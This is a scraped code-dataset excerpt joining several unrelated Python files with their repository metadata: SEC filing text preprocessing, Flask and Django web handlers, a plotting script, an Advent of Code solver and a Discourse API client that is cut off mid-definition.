open(os.path.join(file_dir, filename), encoding='latin-1') as f:\n section = f.read()\n section = html.unescape(section)\n section = re.sub(r'- \\d+? -', '', section)\n section = re.sub(r\"\\'\", r\"'\", section)\n corpus.append(section)\n except:\n print(f'{cik} do not have {file_type} file at {year}.')\n missing.append(index)\n return corpus, missing\n\ndef para_corpus(corpus_list, title_len = 8):\n \"\"\"\n corpus_list should be a list of documents, with each documents having paragraphs and sub-titles separated by \n a blankline (\\n\\n between paragraphs). This function will split corpus into corpus_titles list (with title_len as \n maximum title length) and corpus_paras list. \n Return: corpus_titles list and corpus_paras list with same length as corpus_list.\n \"\"\"\n corpus_titles = []\n corpus_paras = []\n for doc in corpus_list:\n paras = doc.split('\\n\\n') # get paragraphs\n paras = [para.strip() for para in paras if para.strip()] # discard blank paras, and strip spaces\n paras = [para for para in paras if para[0].isalnum()] # discard page number lines\n corpus_paras.append(paras)\n possible_titles = [paras[0]] # item 1 business (dollars .....)\n possible_titles.extend([para for para in paras[1:] if len(para.split()) <= title_len]) # if one paragraph has fewer than 8 words\n corpus_titles.append(possible_titles)\n assert len(corpus_paras) == len(corpus_titles) and len(corpus_paras) == len(corpus_list)\n return corpus_titles, corpus_paras\n\ndef iter_flag(flag_list, title_list, para_list):\n \"\"\"\n flag_list should be a list of tuples, with first element of tuple index in title_list, second element of tuple\n title in title_list. This function will iterate over the titles in flag_list and take out contents from para_list.\n Return: contents list with all sections extended together (i.e., in one flat list).\n \"\"\"\n contents = []\n search_field = para_list\n end_idx = 0\n# print(f'Length of the flag_list is {len(flag_list)}.')\n for index, (idx, title) in enumerate(flag_list):\n search_field = search_field[end_idx :] # update paras search field\n start_idx = search_field.index(title) # the 2nd title\n try: # having less than 3 items\n next_title = title_list[idx+1]\n end_idx = search_field.index(next_title)\n section = search_field[start_idx+1 : end_idx] # do not include competition titles\n contents.extend(section)\n except:\n section = search_field[start_idx+1 : ]\n contents.extend(section)\n# print(f'Appending No. {index} of the compete_flag.')\n return contents\n\n\ndef get_nouns(texts):\n \"\"\"\n texts should be string. This function uses spacy to filter out nouns, proper nouns as organization names.\n Organization names are concatenated together to avoid confusion.\n Return: a list of nouns.\n \"\"\"\n pos_nouns = ['NOUN', 'PROPN']\n tag_nouns = ['NN', 'NNP', 'NNPS', 'NNS']\n noun_list = []\n org_list = []\n\n doc = nlp(texts)\n for token in doc:\n \n if (not token.is_stop) and len(token.text) >= 3: # discard stopwords \n if (token.pos_ in pos_nouns) or (token.tag_ in tag_nouns): # only keep nouns and proper nouns\n if (token.ent_type_ == 'ORG'): # NER only keep ORG\n org_list.append(token)\n elif (not token.ent_type_):\n noun_list.append(token.text)\n else:\n pass\n # paste ORG together\n ent_Bs = [index for (index, token) in enumerate(org_list) if token.ent_iob_ == 'B']\n org_names = []\n for index, pos in enumerate(ent_Bs):\n if index != (len(ent_Bs) - 1):\n name = ''.join([token.text for token in org_list[pos:ent_Bs[index+1]]])\n else:\n name = ''.join([token.text for token in org_list[pos:]])\n org_names.append(name)\n noun_list.extend(org_names)\n return noun_list\n\n\ndf = pd.read_csv(os.path.join(df_dir, new_df))\ndf = df.astype({'year': 'str'})\ndf['cik'] = df['cik'].apply(lambda x: str(x).rjust(10, '0'))\n\n# deal with business and MD&A separately\ndf_bus = df[df['type'].apply(lambda x: x.startswith('business'))]\ndf_bus.reset_index(drop=True, inplace=True)\ndf_mda = df[df['type'].apply(lambda x: x.startswith('MD&A'))]\ndf_mda.reset_index(drop=True, inplace=True)\n\n# define cik-year pairs for business and MD&A\ncik_year_bus = list(zip(df_bus['cik'], df_bus['year']))\nbusiness_corpus, bus_missing = clean_corpus(cik_year_bus, 'business')\ncik_year_bus = [item for index, item in enumerate(cik_year_bus) if index not in bus_missing]\n\ncik_year_mda = list(zip(df_mda['cik'], df_mda['year']))\nmda_corpus, mda_missing = clean_corpus(cik_year_mda, 'MD&A')\ncik_year_mda = [item for index, item in enumerate(cik_year_mda) if index not in mda_missing]\n\nprint(f'Length of cik_year_bus is {len(cik_year_bus)}, corpus is {len(business_corpus)}')\nprint(f'Length of cik_year_mda is {len(cik_year_mda)}, corpus is {len(mda_corpus)}')\n\n# get titles and paras\nbus_doc_titles, bus_doc_paras = para_corpus(business_corpus)\nmda_doc_titles, mda_doc_paras = para_corpus(mda_corpus)\nassert len(bus_doc_titles) == len(bus_doc_paras)\nassert len(bus_doc_titles) == len(cik_year_bus)\nassert len(mda_doc_titles) == len(mda_doc_paras)\nassert len(mda_doc_titles) == len(cik_year_mda)\nprint(f'Length of bus_doc_titles, bus_doc_paras are {len(bus_doc_titles)}')\nprint(f'Length of mda_doc_titles, mda_doc_paras are {len(mda_doc_titles)}')\n\n## business section (product)\nproduct_contents = []\nproduct_error = []\nfor index, (doc_titles, doc_paras) in enumerate(zip(bus_doc_titles, bus_doc_paras)):\n item_titles = [title for title in doc_titles if (''.join(title.split())).lower()[0:4] == 'item']\n if len(item_titles) >= 3:\n item_titles = item_titles[0:3]\n start_idx = doc_paras.index(item_titles[0])\n end_idx = doc_paras.index(item_titles[1])\n if 'business' in (''.join(item_titles[0].split())).lower():\n section = doc_paras[start_idx+1 : end_idx] # don't keep item 1. business line; slcing is still a list\n else:\n section = doc_paras[start_idx+2: end_idx] # when item 1 and business are on separate lines\n product_contents.append(section)\n elif (1 <= len(item_titles) <= 2) and ((''.join(item_titles[0].split())).lower()[0:6] in ['item1.', 'item1:', 'item1-']):\n start_idx = doc_paras.index(item_titles[0])\n if 'business' in (''.join(item_titles[0].split())).lower():\n section = doc_paras[start_idx+1 :] # don't keep item 1. business line\n else:\n section = doc_paras[start_idx+2 :] \n product_contents.append(section)\n else:\n cik, year = cik_year_bus[index]\n product_error.append(index) \n # print(f'Do not find 3 items for {cik} at {year}.')\nif product_error:\n cik_year_bus = [item for index, item in enumerate(cik_year_bus) if index not in product_error]\nelse:\n pass\nassert len(product_contents) == len(cik_year_bus) \nprint(f'Discarding samples with product errors, the length of cik_year_bus/product_contents is {len(product_contents)}')\n\n# get nouns from product section\nstart = time.time()\nprint('Start getting nouns from product_contents.')\n\nn_dict_new = {key: {} for key in [str(x) for x in range(2010, 2023)]} # DF_DICT\nfor (cik, year), content in zip(cik_year_bus, product_contents):\n content = '\\n'.join(content) # content is a list of texts, join them\n nouns = get_nouns(content)\n n_dict_new[year].update({cik: nouns})\nend = time.time()\nprint(f'It took {(end-start)/60:.2f} minutes to finish {len(product_contents)} product contents.')\nprint(f'Dictionary has {len(n_dict_new[\"2010\"].keys())} in 2010, {len(n_dict_new[\"2011\"].keys())} in 2011, +\\\n {len(n_dict_new[\"2012\"].keys())} in 2012, {len(n_dict_new[\"2013\"].keys())} in 2013, +\\\n {len(n_dict_new[\"2014\"].keys())} in 2014, {len(n_dict_new[\"2015\"].keys())} in 2015, +\\\n {len(n_dict_new[\"2016\"].keys())} in 2016, {len(n_dict_new[\"2017\"].keys())} in 2017, +\\\n {len(n_dict_new[\"2018\"].keys())} in 2018, {len(n_dict_new[\"2019\"].keys())} in 2019, +\\\n {len(n_dict_new[\"2020\"].keys())} in 2010, {len(n_dict_new[\"2021\"].keys())} in 2021, +\\\n {len(n_dict_new[\"2022\"].keys())} in 2022')\n\nwith open(os.path.join(df_dir, 'nouns_new.pickle'), 'wb') as f: # DF_DICT\n pickle.dump(n_dict_new, f, pickle.HIGHEST_PROTOCOL)\n \n## MDA section (competition mentions)\nmda_contents = []\nmda_error = []\nfor index, (doc_titles, doc_paras) in enumerate(zip(mda_doc_titles, mda_doc_paras)):\n item_titles = [title for title in doc_titles if (''.join(title.split())).lower()[0:4] == 'item']\n if len(item_titles) >= 2:\n item_titles = item_titles[0:2]\n start_idx = doc_paras.index(item_titles[0])\n end_idx = doc_paras.index(item_titles[1])\n if 'discussion' in (''.join(item_titles[0].split())).lower():\n section = doc_paras[start_idx+1 : end_idx] # don't keep item 1. business line\n else:\n section = doc_paras[start_idx+2: end_idx] # when item 1 and business are on separate lines\n mda_contents.append(section)\n elif (len(item_titles) == 1) and (''.join(item_titles[0].split())).lower()[0:6] in ['item7.', 'item7:', 'item7-']:\n start_idx = doc_paras.index(item_titles[0])\n if 'discussion' in (''.join(item_titles[0].split())).lower():\n section = doc_paras[start_idx+1 : ] # don't keep item 1. business line\n else:\n section = doc_paras[start_idx+2 : ] # when item 1 and business are on separate lines\n mda_contents.append(section)\n else:\n mda_error.append(index)\n# cik, year = cik_year_mda[index]\n# print(f'Do not find 2 items for {cik} at {year}.')\n\n## deal with errors in product section\nif mda_error:\n cik_year_mda = [item for index, item in enumerate(cik_year_mda) if index not in mda_error]\nelse:\n pass\nassert len(mda_contents) == len(cik_year_mda)\nprint(f'Discarding samples with MD&A errors, the length of cik_year_mda/comp_contents is {len(mda_contents)}') \n\n# count competition-related words\nstart = time.time()\nprint('Start getting competition words from mda_contents.')\n\nc_dict_new = {key: {} for key in [str(x) for x in range(2010, 2023)]} # DF_DICT\nfor (cik, year), content in zip(cik_year_mda, mda_contents):\n content = '\\n'.join(content)\n try:\n doc = nlp(content)\n except ValueError:\n nlp.max_length = len(content)\n total = len(doc)\n if total <= 100:\n pass\n else:\n count = 0\n for token in doc:\n if (token.lemma_ == 'competition') or (token.lemma_ == 'competitor') or (token.lemma_ == 'compete'):\n count += 1\n counter = [count, total]\n c_dict_new[year].update({cik: counter})\n# print(f'MD&A has total word count {counter[1]}, competition-related word count {counter[0]}.')\nend = time.time()\nprint(f'It took {(end-start)/60} minutes to finish {len(mda_contents)} MD&A contents.')\nprint(f'Dictionary has {len(c_dict_new[\"2010\"].keys())} in 2010, {len(c_dict_new[\"2011\"].keys())} in 2011, +\\\n {len(c_dict_new[\"2012\"].keys())} in 2012, {len(c_dict_new[\"2013\"].keys())} in 2013, +\\\n {len(c_dict_new[\"2014\"].keys())} in 2014, {len(c_dict_new[\"2015\"].keys())} in 2015, +\\\n {len(c_dict_new[\"2016\"].keys())} in 2016, {len(c_dict_new[\"2017\"].keys())} in 2017, +\\\n {len(c_dict_new[\"2018\"].keys())} in 2018, {len(c_dict_new[\"2019\"].keys())} in 2019, +\\\n {len(c_dict_new[\"2020\"].keys())} in 2010, {len(c_dict_new[\"2021\"].keys())} in 2021, +\\\n {len(c_dict_new[\"2022\"].keys())} in 2022')\n\nwith open(os.path.join(df_dir, 'counts_new.pickle'), 'wb') as f: # DF_DICT\n pickle.dump(c_dict_new, f, pickle.HIGHEST_PROTOCOL)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"LeiyuanHuo/NLP_0-project","sub_path":"code-preprocess.py","file_name":"code-preprocess.py","file_ext":"py","file_size_in_byte":13114,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"4816706545","text":"from BaseHandler import *\nfrom models.Asset.Asset import *\nfrom forms.Asset.CreateAssetForm import *\n\n\nclass AssetHandler(BaseHandler):\n \"\"\"\n\n Create an Asset\n\n \"\"\"\n\n def post(self):\n asset = Asset()\n form = CreateAssetForm(self.request.POST, asset)\n if self.request.POST and form.validate():\n form.populate_obj(asset)\n # asset.create_prefix()\n # category.create_username()\n asset.save()\n self.return_json(self.request.POST.items())\n\n","repo_name":"tailetan/ams-app-python","sub_path":"handlers/AssetHandler.py","file_name":"AssetHandler.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"35814152307","text":"import json\nfrom io import BytesIO\n\nfrom django.shortcuts import render, HttpResponse, redirect\nfrom django.http import JsonResponse\nfrom django.urls import reverse\nfrom django import forms\nfrom django.forms import fields, widgets\n\nfrom repository import models\nfrom untils.check_code import create_validate_code\nfrom ..forms.accountForm import LoginForm\n# Create your views here.\n\n\ndef login(request):\n # 账号登陆\n if request.method == \"GET\":\n return render(request, 'login.html')\n elif request.method == \"POST\":\n result = {'status': False, 'message': None, 'data': None}\n form = LoginForm(request=request, data=request.POST)\n print(request.POST)\n if form.is_valid():\n username = form.cleaned_data.get('username')\n password = form.cleaned_data.get('password')\n user_info = models.UserInfo.objects. filter(\n username=username,\n password=password). values(\n 'nid',\n 'nickname',\n 'username',\n 'email',\n 'avatar',\n 'blog__nid',\n 'blog__site').first()\n\n if not user_info:\n result['message'] = '用户名或密码错误'\n else:\n result['status'] = True # 验证通过\n request.session['user_info'] = user_info\n if form.cleaned_data.get('rmb'):\n request.session.set_expiry(60 * 60 * 24 * 30) # 免登录1个月\n\n else:\n print(form.errors)\n if 'check_code' in form.errors:\n result['message'] = '验证码错误或过期'\n else:\n result['message'] = '用户名或密码错误'\n return HttpResponse(json.dumps(result))\n\n\ndef check_code(request):\n # 验证码\n f = BytesIO() # 放在内存中\n img, code = create_validate_code()\n request.session['CheckCode'] = code # 把验证码放在session,方便后面和输入的作比较\n img.save(f, 'PNG') # 生成后放在内存\n\n return HttpResponse(f.getvalue()) # 获取内存中的f图片\n\n\ndef register(request):\n # 账号注册\n return render(request, 'register.html')\n\n\ndef logout(request):\n # 账号退出\n request.session.clear()\n return redirect(\"/\")\n\n\n# -------------------验证码测试----------------\ndef test(request):\n if request.method == \"GET\":\n return render(request, 'test.html')\n else:\n input_coded = request.POST.get('code')\n check_code1 = request.session['check_code']\n print(input_coded, check_code1)\n return HttpResponse('....')\n\n\ndef yanzheng(request):\n # img获取图片的第二种方法\n # f=open('static/cankao/1.jpg','rb')\n # data = f.read()\n # f.close()\n\n # 调用自动生成验证码文件\n # #实质:把随机生成的字符串写到一张空白图片上,放在内存再返回给前端\n f = BytesIO() # 放在内存中\n img, code = create_validate_code()\n request.session['check_code'] = code # 把验证码放在session,方便后面和输入的作比较\n img.save(f, 'PNG') # 生成后放在内存\n\n return HttpResponse(f.getvalue()) # 获取内存中的f图片\n\n\ndef upload(request):\n print(request.FILES)\n dic = {\n 'error': 0,\n 'url': '/static/img/6.jpg',\n 'message': '错误了...'\n }\n\n return JsonResponse(dic)\n","repo_name":"ScorchHu/blog","sub_path":"web/views/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":3467,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"16643165118","text":"from flask import Blueprint, request, Response, send_file\nfrom behavior import EditorBehavior, PackageBehavior, FSException\nimport time\n\neditor_blueprint = Blueprint(\"editor_blueprint\", __name__)\n\n@editor_blueprint.route('///luma-editor/fs', defaults={'path': '', 'root': ''}, methods=['GET', 'PUT', 'POST', 'DELETE'])\n@editor_blueprint.route('///luma-editor/fs/', defaults={'path': ''}, methods=['GET', 'PUT', 'POST', 'DELETE'])\n@editor_blueprint.route('///luma-editor/fs//', methods=['GET', 'PUT', 'POST', 'DELETE'])\ndef editor_core(ic, wt, root, path):\n b = EditorBehavior()\n methods = {\n 'GET': b.read,\n 'PUT': b.write,\n 'POST': b.create,\n 'DELETE': b.delete\n }\n\n return methods[request.method](root, path)\n\n@editor_blueprint.route('///luma-editor/download/application.zip', methods=['GET'])\ndef download_src(ic, wt):\n data = EditorBehavior().get_app_archive()\n return send_file(data, attachment_filename='application.zip', as_attachment=True, mimetype='application/zip')\n\n@editor_blueprint.route('///luma-editor/version', methods=['GET'])\ndef editor_info(ic, wt):\n info = {'version': '1.1.0', 'lastCommit': 'Rm the --reload flag from the editor gunicorn config;'}\n return info\n\n@editor_blueprint.route('///luma-editor/package', methods=['POST', 'GET'])\ndef project_packages(ic, wt):\n b = PackageBehavior()\n if request.method == 'POST':\n return b.package_install()\n\n if request.method == 'GET':\n return b.get_packages()\n\n@editor_blueprint.route('///luma-editor/restart/app', methods=['POST'])\ndef restart_process(ic, wt):\n b = PackageBehavior()\n return b.restart_process()\n\n@editor_blueprint.route('///luma-editor/logs', methods=['GET'])\ndef logs(ic, wt):\n tail_length = request.args.get('tail')\n\n editor=False\n if 'editor' in request.args:\n editor = True\n\n resp = Response(follow(tail_length, editor), mimetype='text/plain')\n resp.headers['X-Accel-Buffering'] = 'no'\n return resp\n\ndef follow(tail, editor):\n if not tail:\n tail = 100\n try:\n tail_length = int(f'-{tail}')\n except:\n raise FSException(\"'tail' arg must be an int\")\n\n file_path = '/logs/app.log'\n if editor:\n file_path = '/logs/editor.log'\n\n with open(file_path, 'r') as file:\n line = ''\n ct = 0\n while True:\n time.sleep(0.01)\n ct += 1\n if ct > 4500:\n ct = 0\n yield \" \"\n\n lines = file.readlines()\n tail = lines[tail_length:]\n for tmp in tail:\n if tmp is not None:\n line += tmp\n if line.endswith(\"\\n\"):\n yield line\n line = ''\n ct = 0\n else:\n time.sleep(0.1)\n","repo_name":"Lumavate-Team/luma-editor-api","sub_path":"editor/routes/editor.py","file_name":"editor.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"24323163533","text":"import os\nimport math\n\nimport numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nimport parameters as param\nfrom evaluateMetropolis import getAutocorrTime\n\nos.makedirs(\"plots\", exist_ok=True)\n\nt1s = param.parameters[\"passageTimeStart\"][0]\n\nfor N in param.parameters[\"number_of_steps\"]:\n for n, t1 in enumerate(t1s):\n a = np.loadtxt(\"rawData/{}.dat.gz\".format(param.basetheta.format(t1=t1, steps=N, theta=float(\"inf\"), **param.parameters)))\n a = a.transpose()\n a = a[(-len(t1s))+n]\n t_eq = 1000\n a = a[t_eq:]\n b = a[a >= 0]\n\n # if a markov chain algorithm was used, discard correlated samples\n# if param.parameters[\"sampling\"] == 1:\n# if len(b) > 100:\n# tau = math.ceil(getAutocorrTime(b))\n# a = a[::2*tau]\n# b = a[a >= 0]\n\n total = len(a)\n evenlonger = len(a[a < 0])\n\n# plt.title(\"t1 = {}\".format(t1))\n# plt.xlabel(\"t2\")\n# plt.ylabel(\"count\")\n\n# y, x, _ = plt.hist(b, 50)\n# with open(\"plots/t1_{}_N{}.dat\".format(t1, N), \"w\") as f:\n# for l in zip(x, y):\n# f.write(\"{} {}\\n\".format(*l))\n# plt.savefig(\"plots/t1_{}_N{}.png\".format(t1, N))\n# plt.clf()\n\n with open(\"plots/q_{}_N{}.dat\".format(t1, N), \"w\") as f:\n f.write(\"# t1 t2 Q\\n\")\n x = []\n y = []\n for r in np.logspace(-4, 0, 100, base=10):\n t2 = t1//r\n if t2 > N:\n continue\n # b contains positions of the first occurence of a different sign\n # to get the last with the same sign (or zero) -> gt instead of ge\n q = (len(b[b > t2]) + evenlonger) / total\n x.append(t1/t2)\n y.append(q)\n\n f.write(\"{} {} {}\\n\".format(t1, t2, q))\n\n plt.title(\"t1 = {}\".format(t1))\n plt.xlabel(\"t1/t2\")\n plt.ylabel(\"Q\")\n\n plt.plot(x, y, \"+\")\n\n x = np.linspace(0, 1, 100);\n y = 2/np.pi*np.arcsin(np.sqrt(x))\n plt.plot(x, y, label=\"$2/\\pi \\arcsin(\\sqrt(t1/t2))$\")\n plt.savefig(\"plots/q_{}_N{}.png\".format(t1, N))\n plt.clf()\n","repo_name":"surt91/randomWalk","sub_path":"py/evaluatePassage.py","file_name":"evaluatePassage.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"73062845513","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='BookedRecords',\n fields=[\n ('booktime', models.DateTimeField()),\n ('showtime', models.DateTimeField()),\n ('numberoftickets', models.IntegerField()),\n ('amount', models.IntegerField()),\n ('seatslist', models.TextField()),\n ('bookid', models.IntegerField(primary_key=True, serialize=False)),\n ],\n ),\n migrations.CreateModel(\n name='MovieActiveDays',\n fields=[\n ('showdate', models.DateField()),\n ('activedayid', models.IntegerField(primary_key=True, serialize=False)),\n ],\n ),\n migrations.CreateModel(\n name='MovieDetails',\n fields=[\n ('moviename', models.CharField(max_length=200)),\n ('movierating', models.IntegerField()),\n ('movieposter', models.ImageField(upload_to='media/')),\n ('movieid', models.IntegerField(primary_key=True, serialize=False)),\n ],\n ),\n migrations.CreateModel(\n name='SeatingTable',\n fields=[\n ('seatlayouttext', models.TextField(max_length=5000)),\n ('seatingid', models.IntegerField(primary_key=True, serialize=False)),\n ],\n ),\n migrations.CreateModel(\n name='TheaterBase',\n fields=[\n ('location', models.CharField(max_length=200)),\n ('theatername', models.CharField(max_length=500)),\n ('totalseats', models.IntegerField()),\n ('theaterid', models.IntegerField(primary_key=True, serialize=False)),\n ],\n ),\n migrations.CreateModel(\n name='TheaterShowTimings',\n fields=[\n ('showname', models.CharField(max_length=100)),\n ('showtime', models.TimeField()),\n ('theatershowtimingsid', models.IntegerField(primary_key=True, serialize=False)),\n ('theaterbase', models.ForeignKey(to='Book.TheaterBase')),\n ],\n ),\n migrations.CreateModel(\n name='UserDetails',\n fields=[\n ('mailaddress', models.CharField(max_length=200)),\n ('password', models.CharField(max_length=100)),\n ('userid', models.IntegerField(primary_key=True, serialize=False)),\n ],\n ),\n migrations.AddField(\n model_name='seatingtable',\n name='theaterbase',\n field=models.ForeignKey(to='Book.TheaterBase'),\n ),\n migrations.AddField(\n model_name='movieactivedays',\n name='moviedetails',\n field=models.ForeignKey(to='Book.MovieDetails'),\n ),\n migrations.AddField(\n model_name='movieactivedays',\n name='theaterbase',\n field=models.ForeignKey(to='Book.TheaterBase'),\n ),\n migrations.AddField(\n model_name='bookedrecords',\n name='moviedetails',\n field=models.ForeignKey(to='Book.MovieDetails'),\n ),\n migrations.AddField(\n model_name='bookedrecords',\n name='seatingtable',\n field=models.ForeignKey(to='Book.SeatingTable'),\n ),\n migrations.AddField(\n model_name='bookedrecords',\n name='theaterbase',\n field=models.ForeignKey(to='Book.TheaterBase'),\n ),\n migrations.AddField(\n model_name='bookedrecords',\n name='userdetails',\n field=models.ForeignKey(to='Book.UserDetails'),\n ),\n ]\n","repo_name":"arjunkesava/TicketBookingApp","sub_path":"Book/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":3910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"38275007243","text":"\"\"\"\nDay 18\n\"\"\"\nfrom typing import List, Union\nimport operator\n\ndef convert(day_input: List[str]) -> List[List[str]]:\n \"\"\"Return each input token in a separate position\"\"\"\n return [line.replace('(', '( ').replace(')', ' )').split() for line in day_input]\n\ndef eval_infix(expr: List[str]) -> str:\n \"\"\"Evals expr sequentially, just respecting precedence of *(* and *)*.\n Consumes the evaluated tokens in *expr*, including the final *)* if its the \n last token of the expression\n \n Note: expects *expr* to be in infix notation but reversed, as it uses \n pop/append to manipulate *expr*\"\"\"\n ops = {'+': operator.add, '*': operator.mul}\n while len(expr) >= 1:\n arg1 = expr.pop()\n if arg1 == '(': arg1 = eval_infix(expr)\n if len(expr) == 0: return arg1\n op = expr.pop()\n if op == ')': return arg1\n arg2 = expr.pop()\n if arg2 == '(': arg2 = eval_infix(expr)\n expr.append(str(ops[op](int(arg1), int(arg2))))\n return expr[0]\n\nlist_reverse = lambda l: list(reversed(l))\n\ndef solve_part_one(day_input: List[str]) -> int:\n res = [int(eval_infix(list_reverse(line))) for line in convert(day_input)]\n return sum(res)\n\ndef solve_part_two(day_input: List[str]) -> int:\n def find_expr_boundary(line: List[str], start_idx: int, step: int, lvl_up: str, lvl_down: str) -> int:\n \"\"\"Finds the boundary of an expression, starting at *start_idx*, in direction *step*,\n considering that *lvl_up* and *lvl_down* delimit sub-expressions. This makes it usable \n to find both boundaries to the left or right of a position\"\"\"\n lvl, idx = 0, start_idx + step\n while lvl > 0 or line[idx] == lvl_up:\n # Increase or decrease level depending on this position\n lvl = lvl + (line[idx] == lvl_up) - (line[idx] == lvl_down)\n # If reach the boundary break to avoid adding step one more time\n if lvl == 0: break\n idx += step\n return idx\n\n # Strategy is to add '(' and ')' around all the '+' operators found, so that\n # the eval function can work sequentially, just giving priority to expressions\n # surrounded by '(' ')'\n res = []\n for line in convert(day_input):\n idx = 0\n while idx < len(line):\n if line[idx] == '+':\n at = find_expr_boundary(line, idx, -1, ')', '(')\n line.insert(at, '(')\n at = find_expr_boundary(line, idx + 1, +1, '(', ')')\n line.insert(at + 1, ')')\n idx += 2 # Inserted 2, so advance\n idx += 1\n res.append(int(eval_infix(list_reverse(line))))\n return sum(res)\n","repo_name":"syncd010/AoC2020","sub_path":"aoc/day18.py","file_name":"day18.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"23091068213","text":"# -*- coding: utf-8\n# An g0v's project vTaiwan module.\n# module author:: chairco \nimport os\nimport re\nimport json\nimport requests\nimport markdown\nimport random\n\nfrom pprint import pprint\n\nfrom pydiscourse import DiscourseClient\n\nfrom bs4 import BeautifulSoup as bs\n\nfrom collections import OrderedDict\n\n\nclass Create(object):\n\n def __init__(self, *args, **kwargs):\n self.outfile = 'content.json'\n\n def dumps(self, data):\n # create json file\n with open(self.outfile, 'w') as fp:\n fp.write(json.dumps(data, indent=4, ensure_ascii=False))\n\n\nclass Parser(Create):\n \"\"\"Parser the markdown file, and follow format create a .json file\n :name\n :githubfile\n \"\"\"\n\n def __init__(self, name, githubfile, *args, **kwargs):\n super(Parser, self).__init__(name, githubfile, *args, **kwargs)\n self.name = name\n self._githubfile = githubfile\n\n @property\n def get_content(self):\n if os.path.splitext(self._githubfile)[-1] == '.json':\n return json.loads(requests.get(self.get_url).text)\n elif os.path.splitext(self._githubfile)[-1] == '.md':\n return requests.get(self.get_url).text\n else:\n return None\n\n @property\n def get_topics_content(self, topics_data=None):\n \"\"\"create json base\n return Orderdict() format \n \"\"\"\n summary = self.get_summary\n if topics_data is None:\n self.topics_data = []\n else:\n self.topics_data = topics_data\n for topic in summary:\n self.githubfile = topic # 改讀 topic file\n htmlcontent = markdown.markdown(self.get_content)\n soup = bs(htmlcontent, 'html.parser')\n self.topics_data.append(OrderedDict(\n [(topic, [{tag.name: tag.string} for tag in soup.find_all(True)])]))\n return self.topics_data\n\n @property\n def get_name(self):\n if os.path.splitext(self._githubfile)[-1] == '.json':\n return self.get_content.get('description')\n else:\n return None\n\n @property\n def get_summary(self):\n summary = self.get_content\n html = markdown.markdown(summary)\n soup = bs(html, 'html.parser')\n # print(soup.prettify())\n return [link.get('href') for link in soup.find_all('a')]\n\n @property\n def get_url(self):\n g0v_page = \"https://raw.githubusercontent.com/g0v/\"\n name = self._content\n path = \"/master/\"\n return g0v_page + name + path + self._githubfile\n\n @get_url.setter\n def githubfile(self, githubfile):\n self._githubfile = githubfile\n\n @property\n def get_gitbook(self):\n return requests.get(self.get_gitbook_url).text\n\n @property\n def get_gitbook_url(self):\n # return gitbook url\n g0v_page = \"https://g0v.github.io/\"\n name = self._content\n return g0v_page + name\n\n @property\n def _content(self):\n return str(self.name).strip()\n\n def __del__(self):\n pass\n\n\nclass Discourse(DiscourseClient):\n \"\"\"Get the Discourse content\n\n Search a session from Discourse\n Create a new session for Discourse\n host, username, key should exist then yield error\n \"\"\"\n\n def __init__(self, host, api_username, api_key, *args, **kwargs):\n super(Discourse, self).__init__(host, api_username, api_key)\n self.host = host\n self.api_username = api_username\n self.api_key = api_key\n self.args = args\n self.kwargs = kwargs\n\n @property\n def client(self):\n \"\"\"This is the activate to get certification from discourse web\n :url : Discourse web\n :username: Discourse user\n :key : Discourse api key\n \"\"\"\n client = DiscourseClient(\n self.host,\n api_username=self.api_username,\n api_key=self.api_key\n )\n return client\n\n def serarch_topic(self, term, key, **kwargs):\n keys = ['categories', 'grouped_search_result',\n 'users', 'topics', 'posts']\n if key not in keys:\n raise KeyError('argument should be categories, grouped_search_result,'\n 'users, topics, posts')\n content = self._search(term=term, **kwargs)\n if content.get('grouped_search_result') != None:\n return content.get(key)\n else:\n return content\n\n def post_category(self, category, text_color='FFFFFF',\n permissions=None, parent=None, **kwargs):\n if category in self.get_all_categories:\n return False\n else:\n r = lambda: random.randint(0, 255)\n color = '%02X%02X%02X' % (r(), r(), r())\n return self._create_category(name=category, color=color, permissions=permissions,\n parent=parent, **kwargs)\n\n def post_topics(self, content, **kwargs):\n \"\"\"This is create the post with the category, use kwargs\n title :\n content :\n category:\n \"\"\"\n return self.client.create_post(content=content, **kwargs)\n\n def catetory(self, name, parent=None, **kwargs):\n \"\"\"override the DiscourseClient.category\"\"\"\n if parent:\n name = u'{0}/{1}'.format(parent, name)\n return self.client._get(u'/c/{0}.json'.format(name), **kwargs)\n\n def get_category(self, name, parent=None, **kwargs):\n return self.category(name=name, parent=parent, **kwargs)\n\n def get_category_topics(self, name='meta-data'):\n return self.get_category(name=name).get('topic_list').get('topics')\n\n def get_category_topic_content(self, id, key):\n \"\"\"Get the key's content in the topics \n :id : int, index of the topics range\n :key: string\n \"\"\"\n if not isinstance(id, int):\n raise ValueError('{0} Should be INT'.format(id))\n if id >= len(self.get_category_topics):\n raise ValueError('{0} list index out of range, len = {1}'.format(\n id, len(self.get_category_topics) - 1))\n if key not in self.get_category_topics[id]:\n raise KeyError('{0} Not exist in {1}'.format(\n key, [self.get_category_topics[id].keys()]))\n return self.get_category_topics[id].get(key)\n\n @property\n def get_all_categories(self):\n return [category['name'] for category in self.client.categories()]\n\n def _search(self, term, **kwargs):\n kwargs['q'] = term\n return self._get('/search.json', **kwargs)\n\n def _create_category(self, name, color, text_color='FFFFFF',\n permissions=None, parent=None, **kwargs):\n \"\"\"Create the category on Discourse\n 